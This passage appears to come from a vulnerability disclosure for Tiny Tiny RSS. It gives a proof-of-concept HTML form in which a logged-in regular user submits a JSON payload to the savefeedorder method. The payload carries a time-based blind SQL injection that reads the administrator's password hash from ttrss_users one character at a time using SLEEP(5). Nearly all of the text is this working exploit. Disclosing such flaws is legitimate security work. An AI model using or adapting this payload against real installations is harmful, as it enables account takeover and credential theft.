    We control this value using $_POST['payload'].

    2. Proof of Concept
    
    Login as regular user.

    <input type="hidden" name="op" value="pref-feeds">
    <input type="hidden" name="method" value="savefeedorder">
    <textarea name="payload">{"items":[{"items":{"_reference":"CAT:1' AND order_id = (SELECT IF(substr(pwd_hash,1,1) = CHAR(77), SLEEP(5), 0) FROM ttrss_users WHERE id = 1) AND -- "},"id":"root"}]}&lt;/textarea&gt;
    <input type="submit" value="Hack!">
    </form>
